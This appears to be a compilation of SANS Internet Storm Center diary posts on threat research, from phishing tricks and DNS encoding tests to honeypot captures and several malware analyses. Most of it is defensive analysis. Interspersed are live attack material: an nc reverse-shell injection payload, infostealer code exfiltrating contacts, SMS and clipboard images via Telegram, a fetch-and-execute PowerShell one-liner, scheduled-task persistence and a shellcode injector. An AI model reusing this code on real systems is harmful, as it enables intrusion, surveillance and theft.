This week, I noticed some new HTTP request headers that I had not seen before:

X-Request-Purpose: Research

and

X-Hackerone-Research: plusultra
X-Bugcrowd-Ninja: plusultra
X-Bug-Hunter: true

The purpose of these headers appears to be to identify them as being sent as part of a bug bounty. Some companies request the use of these headers as part of their bug bounty. For example, see Web.com's Bugcrowd page [1]. If you see these headers, there is a good chance that the request was sent as part of a bug bounty. At the same time, it is a bit odd that we see these in our honeypots. But some of our honeypots are part of corporate networks, and it is possible that they are in scope for a bug bounty. If the header is genuine, the username of the researcher would be "plusultra". On the other hand, there is no guarantee. Anybody may send this header.

The idea of sending a header like this makes some sense. This way, it is easier for a company to contact a researcher in case the scans are causing any issues. From a defensive point of view, you should probably just ignore these requests. I would not treat them any differently from any request without the header. Blocking requests with these headers does not make a lot of sense, nor does allowing them. Just block (or allow them) based on the remainder of the request. 

And, for any website out there that doesn't have it yet: Setting up a /.well-known/security.txt file makes a lot of sense [2].

[1] https://bugcrowd.com/engagements/webdotcom-vdp
[2] https://datatracker.ietf.org/doc/rfc9116/

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I've been doing Unix/Linux IR and Forensics for a long time. I logged into a Unix system for the first time in 1983. That's one of the reasons I love teaching FOR577[1], because I have stories that go back to before some of my students were even born that are still relevant today.

In recent years, I've noticed a lot of attackers try to hide their tools or stage their data exfiltration in memory-only filesystems like /dev/shm or other tmpfs locations.

Unfortunately, you can't just dd these tmpfs filesystems. There is no block device backing it that will let you take a forensically sound image. So, if I want to get all of the metadata and the contents of any files the attacker may have stashed there, I'm going to need to try something else. Fortunately, after thinking about it a bit, I came up with a method that worked for me. I even talked it over briefly with Hal Pomeranz and we couldn't come up with anything better. When I was thinking about this about a year ago, I did a quick Google search and didn't see anyone else having talked about this, but I'd be surprised if others haven't come up with the same idea.

The basic idea is to first collect the metadata (inode contents), then collect the file contents, since doing it in the other order would cause the access timestamp in the inode to be updated. Since I came up with this technique, I've used it on dozens (probably 100+) of systems with pretty good success. I have run into a handful that didn't have the stat command, so I could only collect the contents, but not the inode metadata. You deal with what the system has available.

# find /dev/shm -exec $(which stat) -c '0|%N|%i|%A|%u|%g|%s|%X|%Y|%Z|%W' {} \; | sed -e 's/|W$/|0/' -e s'/|?$/|0/' | ssh foo@system "cat - > $(hostname)-dev-shm-bodyfile"

This commandline will use the find command to walk the tmpfs filesystem (in this example, /dev/shm) and run the stat command against every file and directory it finds. The sed command is to compensate for versions of the stat command that don't understand the %W format string to print out the creation time (b-time). Then, I pipe the output to ssh to send to a remote system where I collect the evidence (you could, of course, save it off to a USB drive or some other mounted filesystem if you wish). Versions of the Linux coreutils package prior to, I believe, version 8.32 don't have/use the statx() system call to access the creation timestamp even though it is usually in the inode on recent systems. The output is in bodyfile format which can then be fed to the mactime program from The Sleuth Kit (TSK)[2] that can convert it into the classic filesystem timeline format.

Once the metadata is collected, it is safe to collect the file contents (understanding that some file contents may have changed in the interval between the commands). The command that I usually use is as follows.

# find /dev/shm -type f -print | tar czvO -T - | ssh foo@system "cat - > $(hostname)-dev-shm-fs.tgz"

This will use the find command to print out the names of all of the regular files (I've never found a need to collect any other type) and pipe them to the tar command which will collect the contents (printing out the file names to stderr so I can see the progress) and output the (compressed because of the z switch) tarball to stdout to be piped to ssh to be collected on the same collection system. I then hash the tarball on the receiving system. I could, maybe should, hash the files on the live system I'm collecting from, but to this point, it hasn't been an issue.

As mentioned above, I've used this technique and many systems and even had it work on other Unix-ish systems like Juniper routers (that run FreeBSD under the hood) and even an ancient Solaris 9 system or two.

My last run of FOR577 for the year is in a few weeks at DFIRCon[3] in Miami where we will talk about this technique and lots of others. Join me.

References:

[1] https://www.sans.org/cyber-security-courses/linux-threat-hunting-incident-response

[2] https://sleuthkit.org/

[3] https://www.sans.org/cyber-security-training-events/dfircon-miami-2025

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

While reviewing malicious messages that were delivered to our handler inbox over the past few days, I noticed that the “subject” of one phishing e-mail looked quite strange when displayed in the Outlook message list…

As you can see, once the message was open, the subject was displayed as a normal, readable text. This suggested that some invisible characters were likely present…

A quick look at the e-mail headers proved this to be the case. The subject was composed of the following two lines:

Subject: =?UTF-8?B?WcKtb3XCrXIgUMKtYXPCrXN3wq1vwq1yZCBpwq1zIEHCrWLCrW91dCA=?=
	=?UTF-8?B?dMKtbyBFwq14wq1wwq1pcsKtZQ==?=

This formatting meant that the subject was included in the message in a MIME “encoded-word” format, which is described in RFC 2047 as having the following structure[1]:

encoded-word = "=?" charset "?" encoding "?" encoded-text "?="

In our case, the subject therefore consisted of two encoded words containing text written in the UTF-8 character set, which has been Base64 encoded.

Once both lines were decoded, one could clearly see that an invisible character was indeed being used in multiple places in the strings – specifically the soft hyphen, which has a Unicode code point U+00AD, and which is more commonly used as the ­ HTML entity[2].

Although soft hyphens aren’t – strictly speaking – invisible, Outlook as well as most other e-mail clients don’t render them as visible text in most cases.

The use of the soft hyphen character – combined with splitting the subject into multiple MIME encoded-words – was clearly intended as an attempt at bypassing e-mail filtering mechanisms that are supposed to automatically detect potentially malicious messages.

Why is this approach noteworthy?

Because although the use of invisible characters in phishing e-mails in general (and of the use of the “shy” character in particular[3]) is quite common when it comes to making the contents of e-mail messages less readable to security solutions, it is quite unusual to see it also applied to a subject of a message.

In fact, the only allusion to this technique I’ve been able to find with a quick Google search was a general mention in an article by Microsoft Threat Intelligence from 2021, which states that “In several observed campaigns, attackers inserted invisible Unicode characters to break up keywords in an email body or subject line in an attempt to bypass detection and automated security analysis”[4].

Since the use of invisible characters in e-mail subject lines doesn’t seem to be widely known, I have therefore decided that it would be worthwhile to dedicate this short diary to it.

It should be noted that the subject line wasn’t the only place where the soft hyphen character was used in the message – it was also heavily present in the text itself, where it was used to break up individual words…

For completeness’s sake, we should also mention that the link in the phishing pointed to the URL hxxps[:]//stopsoriasis[.]co[.]il/Webmail/webmail.php?email=[recipient@domain.tld], where a generic “webmail login” credential stealing page was placed…

[1] https://datatracker.ietf.org/doc/html/rfc2047
[2] https://en.wikipedia.org/wiki/Soft_hyphen
[3] https://isc.sans.edu/diary/31626
[4] https://www.microsoft.com/en-us/security/blog/2021/08/18/trend-spotting-email-techniques-how-modern-phishing-emails-hide-in-plain-sight/

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

I was intrigued when Johannes talked about malware that uses BASE64 over DNS to communicate. Take a DNS request like this: label1.label2.tld. Labels in a request like this can only be composed with letters (not case-sensitive), digits and a hyphen character (-). While BASE64 is encoded with letters (uppercase and lowercase), digits and special characters + and /. And also a special padding character: =.

So when sticking to the standards, it is not possible to use BASE64 in a label. What happens when we don't stick to the standards?

So I wanted to know what byte values I could transmit over DNS when using third-party DNS infrastructure over which I have no control, like my ISP, CloudFlare, Google, ...

Here is a schema:

 

In red, you have the machines I have control over: my workstation on the left, where I do the DNS queries, and my server on the Internet on the right, where I have my DNS software running (dnsresolver.py).

In blue are the servers of the DNS infrastructure I'm using, over which I have no control.

 

In a first test, I'm using the name resolution API of the OS.

My queries look like this: bytes.41.A.mydomain.com. In this example, 41 is the hexadecimal value of the byte value I'm transmitting, and A is the ASCII representation of the byte value I'm transmitting. On the other end, I have my dnsresolver.py software running with a custom function, that checks the incoming request to see if the hexadecimal value still corresponds to the ASCII value. It logs the result in a log file, and replies with 127.0.0.1 if it matches, and with NXDOMAIN if it doesn't.

Then on my workstation, I do these queries for all byte values between 0x00 and 0xFF.

On Windows using CloudFlare (1.1.1.1), I can only reliably transmit letters (uppercase and lowercase), digits, a hyphen (-) and an underscore (_).

On Windows using Google (8.8.8.8), I can only reliably digits, a hyphen (-) and an underscore (_). Letters can not be reliably transmitted, because of an anti DNS-spoofing measure: Google will change the case of letters (for example, google.com becomes GoOgLe.com). You don't see that as an enduser, but my DNS software sees it.

So in theory, I could use BASE64 in a DNS C2 channel, provided CloudFlare is used and provided I replace + and / with - and _. And provided I don't use a padding character.

On Ubuntu, I can transmit reliably all ASCII characters (0x00 - 0x7F), except 0x00 and 0x2E (.). That's for CloudFlare. Google is the same, except for letters.

So I could do even better than BASE64, since I have 126 byte values at my disposition.

All byte values between 0x80 and 0xFF fail, most of them because they get converted to punicode.

 

Second test is to use a DNS library in stead of the OS API (I use Python module dnspython/dns.resolver).

On Windows and Ubuntu, I can transmit reliably all ASCII characters (0x00 - 0x7F), except 0x2E (.). That's for CloudFlare. Google is the same, except for letters.

The reason that the library cannot transmit a dot (.), so that's request bytes.2E...mydomain.com., is that in a DNS packet, a query is a encoded as a sequence of run-length encoded labels, and dots are not represented. 

So mydomain.com. becomes:

0x08 is the length of label mydomain, 0x03 is the length of label com, and 0x00 is the length of the root label (the . at the end of mydomain.com.).

All byte values between 0x80 and 0xFF fail, most of them because they get converted to PUNICODE.

 

And as a third test, I'm going to craft and transmit my own DNS packets, so that I have full control:

On Windows and Ubuntu, I can transmit reliably all ASCII characters (0x00 - 0x7F), also 0x2E (.). That's for CloudFlare. Google is the same, except for the letters.

And I can reliably transmit all values between 0x80 and 0xFF, but my dnsresolver.py tool that uses the dnslib Python library, can not parse them. So I would need to find a DNS packet parser that handles this, or write my own. I verified that values between 0x80 and 0xFF arrive reliably, but doing a packet capture on my server.

Conclusion

All byte values (even 0x2E .) can be reliably transmitted over the CloudFlare DNS infrastructure, provided one crafts and parses their own DNS packets.

On Google, all values are accepted too, but the case of letters can change because of Google's anti-spoofing measure.

If you want to perform your own DNS tests, you can find more details on my blog post "Bytes over DNS Tools".

Next on my todo list is to perform research to detect abnormal DNS traffic like this.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

When I have a binary file to analyze, I often use tools like 010 Editor or format-bytes.py (a tool I develop). Sometimes I also use Kaitai Struct.

What I did not know, is that Kaitai Struct also has a WebIDE, that allows you to parse all kinds of binary file formats in your browser.

I learned this during a presentation of the KaiTai struct developers at Hack.lu this week.

The demo of the WebIDE starts around 17:31 in the video.

Didier Stevens
Senior handler
blog.DidierStevens.com

Over the past two months, my outlook account has been receiving phishing email regarding cloud storage payments, mostly in French and some English with the usual warning such as the account is about to be locked, space is full, loss of data, refused payment, expired payment method, etc.

Some of the emails have some typical minor spelling errors. The message is essentially the same, asking to log in before losing any data. The same interface shows the same data in both languages.

Reviewing Storage Options from thee URL from French and English emails shows the same message in both languages.

This is a sample list of phishing emails received over the past 2 months all with the same theme:

Indicators

Support du stockage cloud<indigo.thomas@gamepanditos[.]org>
Cloud Billing Team<max.walker@gamepanditos[.]org>
Dernier rappel<scout.jones@gulalguru[.]org>
Support Technique Cloud<lane.lee@manyn[.]org>
Support Technique Cloud<logan.king@crickstrike[.]org>
ssistance Cloud Sécurisée<finley.ramirez@dudugo[.]space>
Sécurité Cloud<indigo.anderson@badideaai[.]space>

[1] https://www.ftc.gov/business-guidance/small-businesses/cybersecurity/phishing
[2]] https://www.itgovernance.co.uk/blog/5-ways-to-detect-a-phishing-email
[3] https://www.cyber.gc.ca/en/guidance/spotting-malicious-email-messages-itsap00100
[4] https://www.sans.org/for-organizations/workforce/security-awareness-training/phishing
[5] https://www.sans.org/blog/phishing-its-no-longer-about-malware-or-even-email

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Infostealers landscape exploded in 2024 and they remain a top threat today. If Windows remains a nice target (read: Attackers' favorite), I spotted an Infostealer targeting Android devices. This sounds logical that attackers pay attention to our beloved mobile devices because all our life is stored on them.

The sample that I found (SHA256: 7576cdb835cd81ceb030f89fe5266649ed4a6201547c84da67144f407684a182) received a VT score of 0/64[1]! Undetected! The source code contains comments in Vietnamese. The sample is a Python script. How can you execute Python code on an Android device? Say hello to Termux, your new best friend.

From the documentation: "Termux[2] is an Android terminal emulator and Linux environment app that works directly with no rooting or setup required. A minimal base system is installed automatically - additional packages are available using the APT package manager."

Sounds great to run Python code.

Once Termux is installed, add the Python package:

$ pkg install python

The infostealer is classic and exfiltrate data through a Telegram channel:

def send_telegram(msg):
    try:
        url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
        data = {"chat_id": CHAT_ID, "text": msg}
        requests.post(url, data=data, timeout=10)
    except: pass

But, how can the malware access Android data? Termux comes with a suite a command-line tools that provide juicy information. For example, termux-contact-list[3] returns a list of contacts stored in the phone in JSON:

[
  {
    "id": 1,
    "name": "Alice Dupont",
    "phone_numbers": [
      "+32470123456",
      "+3221234567"
    ],
    "emails": [
      "alice.dupont@example.com"
    ]
  },
  {
    "id": 2,
    "name": "Bob Martin",
    "phone_numbers": [
      "+32475123456"
    ],
    "emails": []
  },
  {
    "id": 3,
    "name": "Caroline Smith",
    "phone_numbers": [],
    "emails": [
      "caroline.smith@company.com",
      "c.smith@gmail.com"
    ]
  }
]

The infostealer will collect and exfiltrate the following information:

contacts = subprocess.getoutput('termux-contact-list')
sms = subprocess.getoutput('termux-sms-list')
call_log = subprocess.getoutput('termux-call-log')
location = subprocess.getoutput('termux-location')

The malware tries also to exfiltrate data from apps like Facebook and Whatsapp. How? In the Android ecosystem, Termux is running in a sandbox and has access only to its own $HOME directory:

/data/data/com.termux/files/home

But another tools is provided: termux-setup-storage. That one will allow access to the phone storage through a mapping lile:

/storage/emulated/0/<dir>

Note that the victim will be prompted with a dialog prompt asking right to access data. But they’ll do right?

The malware will try to exfiltrate more data:

fb_paths = [
    '/storage/emulated/0/Android/data/com.facebook.katana/',
    '/storage/emulated/0/Facebook/'
]
wa_paths = [
    '/storage/emulated/0/WhatsApp/Databases/msgstore.db',
    '/storage/emulated/0/WhatsApp/Databases/wa.db',
    '/sdcard/WhatsApp/Databases/msgstore.db'
]
media_paths = [
    '/storage/emulated/0/DCIM/',
    '/storage/emulated/0/Pictures/',
    '/storage/emulated/0/Movies/',
    '/storage/emulated/0/Download/'
]

It will also search for banking related information:

banking_files = []
    for root, dirs, files in os.walk('/storage/emulated/0/'):
        for file in files:
            if any(keyword in file.lower() for keyword in ['bank', 'atm', 'vietcombank', 'vpbank', 'mbbank', 'acb']):
                banking_files.append(os.path.join(root, file))

 Get device info:

device_model = subprocess.getoutput('getprop ro.product.model')
android_version = subprocess.getoutput('getprop ro.build.version.release')
device_name = subprocess.getoutput('getprop ro.product.device')

A backdoor will be installed:

def install_backdoor():
    try:
        backdoor_script = '''
import os, time, requests
while True:
    try:
        os.system("termux-location > /data/data/com.termux/files/home/location.txt")
        time.sleep(300)
    except:
        time.sleep(60)
'''
        with open('/data/data/com.termux/files/home/backdoor.py', 'w') as f:
            f.write(backdoor_script)
            os.system('python3 /data/data/com.termux/files/home/backdoor.py &')
        except: pass

I just found the infostealer and I don’t know the complete infection path. How was Termux installed? Is it a PoC? But, for sure, Android devices can also be targeted!

[1] https://www.virustotal.com/gui/file/7576cdb835cd81ceb030f89fe5266649ed4a6201547c84da67144f407684a182
[2] https://termux.dev/en/
[3] https://wiki.termux.com/wiki/Termux-contact-list

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Starting yesterday, some of our honeypots received POST requests to "/cgi-bin/webctrl.cgi", attempting to exploit an OS command injection vulnerability:

POST /cgi-bin/webctrl.cgi
Host: [honeypot ip]:80
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Origin: http://[honeypot ip]:80
Dnt: 1
Connection: close
Referer: http://[honeypot ip]:80/cgi-bin/webctrl.cgi?action=pingconfig_page
Cookie: userName=admin; state=login; passWord=
Upgrade-Insecure-Requests: 1

action=pingconfig_update&pos_x=0&pos_y=0&login=3&configchanged=0&ip_address=&pingstatereloadflag=1&ipv6=1&ipaddress=;nc%2087.120.191.94%2031331%20-e/bin/sh;&count=3&size=64&start=Start

The vulnerability appears to be a "classic" OS command injection vulnerability. The "ipaddress" parameter is likely passed straight to "ping" in code like 

ping -c {count} -s {size} {ipaddress}

The count and size parameters are easy to validate as they are numbers. The ipaddress parameter is likely supposed to allow for hostnames, making validation a little bit trickier. I talked at length about OS command injection and how to prevent it in a video last year (see https://www.youtube.com/watch?v=7QDO3pZbum8 )

Identifying the exact vulnerability this request attempts to exploit is not so straightforward.

Searching the National Vulnerability Database (https://nvd.nist.gov) leads to two different vulnerabilities for "webctrl.cgi":

CVE-2021-40351: webctrl.cgi.elf on Christie Digital DWU850-GS V06.46 devices allows attackers to perform any desired action via a crafted query containing an unspecified Cookie header. Authentication bypass can be achieved by including an administrative cookie that the device does not validate.

CVE-2025-34033: An OS command injection vulnerability exists in the Blue Angel Software Suite running on embedded Linux devices via the ping_addr parameter in the webctrl.cgi script. The application fails to properly sanitize input before passing it to the system-level ping command.

The first one refers to a cookie header. We would have an "interesting" cookie header, but the exploited vulnerability appears to affect the "pingconfig_update" action, pointing to CVE-2025-34033. However, the detailed description states:

An OS command injection vulnerability exists in the Blue Angel Software Suite running on embedded Linux devices via the ping_addr parameter in the webctrl.cgi script. The application fails to properly sanitize input before passing it to the system-level ping command. An authenticated attacker can inject arbitrary commands by appending shell metacharacters to the ping_addr parameter in a crafted GET request to /cgi-bin/webctrl.cgi?action=pingtest_update. The command's output is reflected in the application's web interface, enabling attackers to view results directly. Default and backdoor credentials can be used to access the interface and exploit the issue. Successful exploitation results in arbitrary command execution as the root user.

Our attack uses the 'ipaddress' parameter, not the 'ping_addr' parameter. The NVD entry also suggests this requires a GET entry and an action set to 'pingtest_update', not a POST entry with an action of 'pingconfig_update'.

There are sadly many similar vulnerabilities. Many IoT/Router appliances have had vulnerabilities in their "ping" implementation in the past that looked exactly like what we have here. In 2019, an exploit was published for CVE-2025-34033 [1]. The vendor behind the software, 5VTech, appears to specialize in VoIP and similar equipment for Broadband networks [2].

There are two options at this point: (a) this is a new version of the CVE-2025-34033 vulnerability, or (b) the attacker messed up. Without a test device, this isn't easy to verify.

[1]https://www.exploit-db.com/exploits/46792
[2] http://www.5vtechnologies.com/

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Yesterday, Chinese security services published a story alleging a multi-year attack against the systems operating the Chinese standard time (CST), sometimes called Beijing Standard Time. China uses only one time zone across the country, and has not used daylight saving time since 1991. Most operating systems use UTC internally and display local time zones for user convenience. Modern operating systems use NTP to synchronize time. Popular implementations are ntpd and chrony. The client will poll several servers, disregard outliers, and usually sync with the "best" time server based on latency and jitter detected.

Based on the "Beijing Time Incident", let's review options to synchronize your network's clocks. One popular option is to use the NTP "Pool", "pool.ntp.org", or a subset of this pool (like north-america.pool.ntp.org or aisa.pool.ntp.org). Currently, ntppool.org counts 5788 participants, which is impressive [1]. ntppool.org monitors the servers and recently upgraded its monitoring system [2]. Participating servers are assigned scores, which are then used to rank them in the pool. The open nature of the NTP Pool project has sometimes led to questions about the reliability and safety of the pool. Shodan, for example, added systems with IPv6 addresses to the NTP Pool to identify IPv6 addresses worthy of scanning [3][4].

We have published a list of IP addresses in the NTP Pool for a few years. We obtain this list from DNS lookups and some from our honeypot data. NTP servers can trigger false positives with firewalls that have difficulty managing UDP "state". You can use our API to retrieve the current list we identified [5].

A quick breakdown of the offset we detect shows that the NTP Pool is quite accurate. Clients should easily discard the few outliers.

Note that the chart uses logarithmic scales to show the drop off. The graph would show a spike at "0" for linear scales. Most of the time, servers have an offset of less than 10 milliseconds, and there are very few above 100 milliseconds, making this perfectly adequate for most applications that use NTP. NTP is looking for millisecond accuracy, and applications requiring better accuracy should likely use local time standards and protocols like PTP. 

So, in short, pool.ntp.org is an excellent option for most applications. If you want to do better, or are worried about the stability and security of pool.ntp.org, your best option is a local time standard. There are very affordable options from centerclick.com 

 

[1] https://www.ntppool.org/zone
[2] https://news.ntppool.org/2025/07/monitoring-v4/
[3] https://isc.sans.edu/diary/Targeted+IPv6+Scans+Using+poolntporg/20681
[4] https://seclists.org/oss-sec/2016/q1/219
[5] https://isc.sans.edu/api/ntppool?json (or without ?json for XML)
[6] https://nist.time.gov

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I found another piece of malware this weekend. This one looks more like a proof-of-concept because the second-stage payload is really "simple", but it attracted my attention because it uses a nice technique to obfuscate the code.

The dropper is a simple Python script (SHA256:e6f7afb92153561ff6c584fee1b04fb132ba984e8a28ca63708a88ebad15b939) with a low VT score of 4/62[1]. The script contains an embedded Base64 payload that, once decoded, will be executed. This second stage is an ELF file, indicating the script targets a Linux system.

What attracted my attention is the direct use of syscall()[2] instead of classic functions:

import ctypes
libc = ctypes.CDLL(None)
syscall = libc.syscall
[...]
fd = syscall(319, "", 1)
os.write(fd, content)

A full list of available syscalls is documented by many websites[3]. The syscall 319 is "memfd_create" and, as the name suggests, it allows creating a file descriptor in memory (read: without touching the filesystem). 

The Base64 payload is not very interesting, it's an ELF file (SHA256:52fc723f7e0c4202c97ac5bc2add2d1d3daa5c3f84f3d459a6a005a3ae380119) that will just encrypt files using a 1-byte XOR key:

[1] https://www.virustotal.com/gui/file/e6f7afb92153561ff6c584fee1b04fb132ba984e8a28ca63708a88ebad15b939/detection
[2] https://man7.org/linux/man-pages/man2/syscalls.2.html
[3] https://www.chromium.org/chromium-os/developer-library/reference/linux-constants/syscalls/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Attackers are everywhere! They try to abuse victims using new communication channels and social engineering techniques! Somebody pointed my to the following Tik-Tok video: hxxps://vm[.]tiktok[.]com/ZGdaCkbEF/.

The author pretends to provide you an easy way to activate Photoshop for free:

Note that the video has already been liked more than 500 times!

The technique is similar to the ClickFix[1] attack scenario. The victim is asked to start a PowerShell as administrator and execute a one-liner:

iex (irm slmgr[.]win/photoshop)

When visiting this linlk, you'll get a piece of malicious PowerShell code that will be executed (SHA256: 6D897B5661AA438A96AC8695C54B7C4F3A1FBF1B628C8D2011E50864860C6B23). It has a VT score of 17/63[2]. Let’s have a look at it!

It downloads the next stage from https://file-epq[.]pages[.]dev/updater.exe. Persistence is implemented through a scheduled task to execute it at logon time:

$tasknames = @('MicrosoftEdgeUpdateTaskMachineCore','GoogleUpdateTaskMachineCore','AdobeUpdateTask','OfficeBackgroundTaskHandlerRegistration','WindowsUpdateCheck')
$taskname = $tasknames[(Get-Random -Max 5)]
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"$scr`""
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -DontStopOnIdleEnd
Register-ScheduledTask -TaskName $taskname -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force -ErrorAction SilentlyContinue | Out-Null

Updater.exe (SHA256:58b11b4dc81d0b005b7d5ecae0fb6ddb3c31ad0e7a9abf9a7638169c51356fd8) is an AuroStealer[3].

Finally, a second payload is downloaded and executed: source.exe (SHA256: db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011)[4]. This one implements an interesting technique, it compiles some code on demand during its execution:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\vpkwkdbo.cmdline"

This is something that I covered in previous diaries ("self-compiling malware")[5]. The compile code is a class used to inject a shellcode in memory:

using System;
using System.Runtime.InteropServices; 
public class SC { 
    [DllImport("kernel32.dll")] 
    public static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p); 
    [DllImport("kernel32.dll")] 
    public static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr addr, IntPtr p, uint f, IntPtr t); 
    [DllImport("kernel32.dll")] 
    public static extern uint WaitForSingleObject(IntPtr h, uint m); 
    public static void Run(byte[] sc) { 
      IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40); 
      Marshal.Copy(sc, 0, addr, sc.Length); 
      IntPtr t = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 
      WaitForSingleObject(t, 0xFFFFFFFF); 
    } 
}

While invetigating this piece of malware, I discovered more videos from the same campaing but using other software names:

• hxxps://vm[.]tiktok[.]com/ZGdaC7EQY/
• hxxps://vm[.]tiktok[.]com/ZGdaX8jVq/

Stay safe and don't trust such videos!

[1] https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/
[2] https://www.virustotal.com/gui/file/6d897b5661aa438a96ac8695c54b7c4f3a1fbf1b628c8d2011e50864860c6b23
[3] https://malpedia.caad.fkie.fraunhofer.de/details/win.aurastealer
[4] https://www.virustotal.com/gui/file/db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011
[5] https://isc.sans.edu/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This week, we set up a new Slack workspace for DShield.org. This workspace replaces the old workspace we originally configured back in 2016 or 2017. The workspace was originally configured as a free workspace to support the DShield.org community. Over the years, it has had a good following and a good amount of traffic.

Sadly, we learned that none of the "S" in SaaS stands for security or privacy. A couple of years ago, the SANS Institute decided to purchase an enterprise license for its Slack workspace. The details have been lost to time and to a complete turnover of contacts at Slack and now Salesforce. But our DShield.org workspace ended up as part of the Enterprise account, leading to an inflated subscription fee for SANS. As "Owner" of the DShield.org Slack, I was never asked to have the DShield.org Slack merged with the SANS account. As far as I can tell, nobody from SANS asked for it. This was not the only Slack affected. Several smaller Slack workspaces created by SANS instructors for their personal use were merged as well.

Salesforce, the current owner of the Slack brand, offered two options: Keep paying for the Slack workspace (several $ per month per user) or create a new workspace. They repeatedly denied that there is any other option. SANS did consult with me about how to move forward, and I did interact with several contacts at Salesforce to attempt to verify what exactly happened. But none of the Salesforce contacts were familiar with what exactly happened in part due to high turnover. I got various conflicting answers, but they remained consistent in being unable to "undo" the switch that turned the DShield.org workspace into an enterprise account.

SANS did offer to pay the inflated fee, but I do not think it is right to just roll over and pay. Instead, I started a new Slack this week. You can find it here:

https://join.slack.com/t/dshieldorgsup-kp41959/shared_invite/zt-3fmshiz9v-KwX2Vmgc3jdkrMDl8sWTNQ

Why did we not just move to another solution? There are various free community communication solutions. We have used several over the last 25 years: IRC and Jabber come to mind. Currently, Discord is a strong contender. Others suggested Telegram, Mattermost, Signal, WhatsApp, and Matrix. I did a quick poll on the old Slack, and Slack won as an option. I know, there is some bias here among existing Slack users. But one goal is not to lose existing community members. Personally, I also try to limit the number of chat clients I am running. Maybe we should go back to IRC or Silk :) 

So for now, we will stick with Slack, cross our fingers, and hope things work out with the new workspace. Existing members of the old Slack should have received an email with the new invite link. I will also do a mass invite in the new Slack later today for existing "old workspace members".

The old workspace will be deleted this Monday.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

For a while, clipboard content has been monitored by many infostealers. Purposes can be multiple, like simply searching and exfiltrating juicy data or on-the-fly modification like crypto-wallet swapping[1]. Note that the clipboard is a major risk when you don't disable clipboard sharing between your virtual machines and hosts. A malware running in a sandbox will access your (host) clipboard without problem!

The clipboard does not only carry text. Today, we use the clipboard to manipulate a lot of "binary data". After plain text, the most common data types are pictures! We take pictures every time and share them through the clipboard! Who has never grabbed pieces of screens like this? This is convenient when writing reports, documentation, or for archiving purposes.

I spotted a Python infostealer that pays attention to pictures exchanged with the clipboard. It's pretty easy to implement because the ImageGrab library has this feature built in [2]. Here is the piece of code implemented in the malware:

img = ImageGrab.grabclipboard()
if isinstance(img, Image.Image):
    img_bytes = io.BytesIO()
    img.save(img_bytes, format='PNG')
    img_hash = hashlib.md5(img_bytes.getvalue()).hexdigest()
    if img_hash != prev_clip_img_hash:
        img_path = "clipboard_img.png"
        img.save(img_path, "PNG")
        send_image(img_path)
        prev_clip_img_hash = img_hash

Telegram is used for C2 communications:

def send_image(image_path):
    if not bot_active or not os.path.exists(image_path):
        logging.warning(f"[send_image] T?p không t?n t?i: {image_path}")
        return
    try:
        with open(image_path, "rb") as photo:
            url = f"https://api.telegram.org/bot{TOKEN}/sendDocument"
            files = {"document": photo}
            data = {"chat_id": CHAT_ID}
            response = requests.post(url, files=files, data=data)
            if response.status_code != 200:
                logging.error(f"[send_image] L?i g?i ?nh: {response.text}")
    except Exception as e:
        logging.error(f"[send_image] G?i ?nh l?i: {e}")

Note the presence of Vietnamese text ("T?p không t?n t?i" means "File not found"). The file (SHA256:7c70f53ff1e05ee104403784f42819adb1e445c9d97b82cff72a986d59619959) has a low VT score (5/64)[3].

[1] https://isc.sans.edu/diary/MultiCryptocurrency+Clipboard+Swapper/28574
[2] https://pillow.readthedocs.io/en/stable/reference/ImageGrab.html#PIL.ImageGrab.grabclipboard
[3] https://www.virustotal.com/gui/file/7c70f53ff1e05ee104403784f42819adb1e445c9d97b82cff72a986d59619959/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I am experimenting today with a little bit of a cleaned-up patch overview. I removed vulnerabilities that affect Microsoft's cloud systems (but appreciate Microsoft listing them at all), as well as vulnerabilities in third-party software like open source libraries. This should leave us with Microsoft-specific on-premises vulnerabilities. This month, this leaves 157 different vulnerabilities. Eight of the vulnerabilities are rated critical.

This month, Microsoft is discontinuing support for a number of different products:

• Windows 10
• Office 2016
• Exchange Server 2016
• Office 2019
• Exchange Server 2019

